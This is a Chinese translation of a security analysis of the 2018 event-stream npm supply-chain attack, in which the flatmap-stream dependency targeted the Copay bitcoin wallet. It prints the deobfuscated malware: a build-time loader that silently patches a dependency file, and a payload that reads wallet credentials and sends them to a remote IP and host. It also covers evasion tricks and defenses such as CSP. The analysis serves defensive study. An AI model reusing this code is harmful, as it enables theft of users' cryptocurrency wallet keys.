- 原文地址:Compromised npm Package: event-stream
- 原文做者:Thomas Hunter II
- 譯文出自:掘金翻譯計劃
- 本文永久連接:github.com/xitu/gold-m…
- 譯者:CoderMing
- 校對者:格子熊,caoyi
一個著名的 npm 包 event-stream
的做者,將其轉讓給了一個惡意用戶 right9ctrl。這個包每月有超過 150萬 次下載,同時其被 1,600 個其它的 npm 包依賴。惡意用戶經過持續地向這個包貢獻代碼來得到了其原做者的信任。這個 npm 包由惡意用戶發佈的第一個版本時間是 2018 年 9 月 4 日。html
惡意用戶修改了 event-stream
,讓其依賴了一個惡意 npm 包 flatmap-stream
。這個 npm 包是專門針對此次攻擊所製做的。它包括了一個至關簡單的 index.js
文件,同時也有一個壓縮版的 index.min.js
文件。在 GitHub 上,這兩個文件看起來徹底沒問題。然而,在 npm 上發行的代碼並無被要求與 git 倉庫中所存儲的代碼相同。前端
這個被插入到 event-stream
中的惡意 npm 包在 10 月 20 日被其餘用戶發現並在 dominictarr/event-stream#116 中曝光。這個 issue 在惡意 npm 包發佈兩個月後才被建立。開源軟件的一大好處是可以集衆多開發者之力,但這並非毫無壞處的。例如 OpenSSL,這個開源項目有着幾乎最嚴格的代碼審查,可是其仍然有許多不足之處,例如 Heartbleed 漏洞(譯者注:可參考 heartbleed.com/ )。node
該惡意 npm 包是一種針對性很強的攻擊。它最終會對一個開源 App bitpay/copay 發起攻擊。該 App 的 README 中提到:Copay 是一個支持桌面端和移動端的安全比特幣錢包平臺。咱們知道惡意 npm 包只針對這個應用是由於其會讀取項目 package.json
文件中的 description
字段,並用其去解碼一個 AES256 加密的代碼段。android
對於其餘項目, description
字段不可以用於給加密代碼段解密,以後 hack 操做將會悄悄終止。 而 bitpay/copay的 description 字段,也就是 A Secure Bitcoin Wallet
,是解密這些數據(加密代碼段)的key。ios
flatmap-stream
這個包巧妙地將數據隱藏在了 test
文件夾中。這個文件夾在 GitHub 不可見但卻出如今了實際的 flatmap-stream-0.1.1.tgz
包中。這些加密的數據以一個數組的形式存儲,數據的每一部分都被壓縮及混淆過,同時也以不一樣的參數進行了加密。一部分加密的數據包括了一些會被靜態數據統計工具警告爲惡意行爲的方法名,例如 _compile
這個在 require
中意味着建立一個新 Module 的字符串。在下面兩段示例代碼中,我盡我所能去清理了這些文件讓代碼更易讀。git
這是第一部分。它不怎麼有意思,最有可能出現於一個 bootstrap 內的函數來用於引入第二段代碼。它看起來是經過修改子模塊中的一個名爲 ReedSolomonDecoder.js
的子模塊來使用的。若是該文件中已經有了 /*@@*/
這個字符串,那麼它就什麼都不作。若是還沒有對其進行修改,那麼它不只會修改文件,還會將訪問權限和修改後的時間戳替換爲原來的值。這樣作的話,當你看你磁盤中的文件時,你就不會注意到它已經被修改了。github
/*@@*/
module.exports = function (e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var desc = process.env.npm_package_description;
var fs = require("fs");
var decoderPath = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js";
var decoderStat = fs.statSync(decoderPath);
var decoderSource = fs.readFileSync(decoderPath, "utf8");
var decipher = require("crypto").createDecipher("aes256", desc);
var s = decipher.update(e, "hex", "utf8");
s = "\n" + (s += decipher.final("utf8"));
var a = decoderSource.indexOf("\n/*@@*/");
if (0 <= a) {
(decoderSource = decoderSource.substr(0, a));
fs.writeFileSync(decoderPath, decoderSource + s, "utf8");
fs.utimesSync(decoderPath, decoderStat.atime, decoderStat.mtime);
process.on("exit", function () {
try {
fs.writeFileSync(decoderPath, decoderSource, "utf8");
fs.utimesSync(decoderPath, decoderStat.atime, decoderStat.mtime);
} catch (err) {}
});
}
} catch (err) {}
};
複製代碼
第二部分就更有趣了。我將一些多餘的代碼段被刪掉了,來凸顯出其原意圖:web
/*@@*/
function doBadStuff() {
try {
const http = require("http");
const crypto = require("crypto");
const publicKey = "-----BEGIN PUBLIC KEY-----\n...TRUNCATED...\n-----END PUBLIC KEY-----";
function sendRequest(hostname, path, body) {
// Original request "decodes" a hex representation of the hostnames
// hostname = Buffer.from(hostname, "hex").toString();
const req = http.request({
hostname: hostname,
port: 8080,
method: "POST",
path: "/" + path, // path will be /p or /c
headers: {
"Content-Length": body.length,
"Content-Type": "text/html"
}
}, function() {});
req.on("error", function(err) {});
req.write(body);
req.end();
}
function sendRequests(path, rawStringPayload) {
// path = "c" || "p"
let payload = "";
for (let i = 0; i < rawStringPayload.length; i += 200) {
const chunk = rawStringPayload.substr(i, 200);
payload += crypto.publicEncrypt(
publicKey,
Buffer.from(chunk, "utf8")
).toString("hex") + "+";
}
sendRequest("copayapi.host", path, payload);
sendRequest("111.90.151.134", path, payload);
}
function getDataFromStorage(name, callback) {
if (window.cordova) {
try {
const dd = cordova.file.dataDirectory;
resolveLocalFileSystemURL(dd, function(localFs) {
localFs.getFile(name, {
create: false
}, function(file) {
file.file(function(contents) {
const fileReader = new FileReader;
fileReader.onloadend = function() {
return callback(JSON.parse(fileReader.result))
};
fileReader.onerror = function(err) {
fileReader.abort()
};
fileReader.readAsText(contents)
})
})
})
} catch (err) {}
} else {
try {
const data = localStorage.getItem(name);
if (data) {
return callback(JSON.parse(data));
}
chrome.storage.local.get(name, function(entry) {
if (entry) {
return callback(JSON.parse(entry[name]));
}
})
} catch (err) {}
}
}
global.CSSMap = {};
getDataFromStorage("profile", function(data) {
for (let credential in data.credentials) {
const creds = data.credentials[credential];
if ("livenet" == creds.network) {
getDataFromStorage("balanceCache-" + creds.walletId, function(data) {
const self = this;
self.balance = parseFloat(data.balance.split(" ")[0]);
if ("btc" == self.coin && self.balance < 100 || "bch" == self.coin && self.balance < 1000) {
global.CSSMap[self.xPubKey] = true;
}
sendRequests("c", JSON.stringify(self));
}.bind(creds))
}
}
});
const Credentials = require("bitcore-wallet-client/lib/credentials.js");
// Intercept the getKeys function in the Credentails class
Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys;
Credentials.prototype.getKeys = function(keyLookup) {
const originalResult = this.getKeysFunc(keyLookup);
try {
if (global.CSSMap && global.CSSMap[this.xPubKey]) {
delete global.CSSMap[this.xPubKey];
sendRequests("p", keyLookup + "\t" + this.xPubKey);
}
} catch (err) {}
return originalResult;
}
} catch (err) {}
}
// Run as soon as ready
window.cordova
? document.addEventListener("deviceready", doBadStuff)
: doBadStuff()
複製代碼
這個文件像是個 bitcore-wallet-client
包打了猴子補丁,特別是 Credentials
類的 getKeys
方法,它備份了原有函數,而後將錢包內的憑證傳到第三方服務器。這個服務器位於 111.90.151.134
。這些憑證可能被用來獲取用戶帳戶的訪問權限,而後容許攻擊者從原帳戶主那裏竊取資金。正則表達式
這個 npm 包在企圖避免偵測上作了不少事情。例如,它不會在使用測試的比特幣網絡即 testnet
上運行,它只會在實際的比特幣網絡 livenet
中運行。若是受感染的應用在作網絡測試,這將會避免其被發現。它同時只會在被打包成 release 版本時運行安裝引導程序(譯者注:即上文中第一段代碼,加載惡意代碼)。它經過查看 process.argv
中的第一個參數來使用正則表達式 /build\:.*\-release/
進行匹配,若是沒有匹配到,那此次流程就多是被某類 build server 運做的。chrome
經過使用靜態分析工具來掃描 npm 包多是個很棒的想法。但這次攻擊對惡意的源代碼進行了加密以免被檢測到。爲了防止這種攻擊,咱們必須採起其餘的的方法...
此次特定攻擊看起來能夠同時在傳統 web 頁面和經過 Cordova(一個將 web App 打包成移動端 App 的工具)構建的 App 中運行。咱們已經發現了此次攻擊能夠經過使用 CSP (Content Security Policy) 來阻止。這是用來指定頁面能夠與哪些 url 通訊並將這些設定經過 web 服務器響應頭來指定的標準。Cordova 甚至有其自身的方法 mechanism 來指定哪些第三方服務可使用。然而,Copay App 彷佛禁用了這個特性。
CSP 能夠有效地保證前端頁面的安全。然而,這個特性沒有被內置在 Node.js 中。Intrinsic 這個 Node.js 包提供了讓你能夠設定你 App 通訊 URL 白名單的功能——這很像 CSP ——並且其能夠幹更多事情。Intrinsic 能夠被用來設置文件系統白名單、子進程白名單、process
的細分節點、TCP 和 UDP 鏈接甚至是細粒度的數據庫訪問。這些白名單是創建在每條請求路由的,這使得其比防火牆更增強大。
有趣的是,此次在 event-stream
中發生的攻擊中,攻擊者用猴子補丁的方式修改了系統關鍵函數來實現其向惡意服務器發送 HTTP 請求的目的,這正好是咱們以前的這篇文章中所警示的:The Dangers of Malicious Modules。隨着時間的推移,這些基於代碼依賴鏈的攻擊只會愈來愈頻繁。這種高針對性的攻擊(例如此次針對 Copay 的)也會變得愈來愈廣泛。
若是發現譯文存在錯誤或其餘須要改進的地方,歡迎到 掘金翻譯計劃 對譯文進行修改並 PR,也可得到相應獎勵積分。文章開頭的 本文永久連接 即爲本文在 GitHub 上的 MarkDown 連接。
掘金翻譯計劃 是一個翻譯優質互聯網技術文章的社區,文章來源爲 掘金 上的英文分享文章。內容覆蓋 Android、iOS、前端、後端、區塊鏈、產品、設計、人工智能等領域,想要查看更多優質譯文請持續關注 掘金翻譯計劃、官方微博、知乎專欄。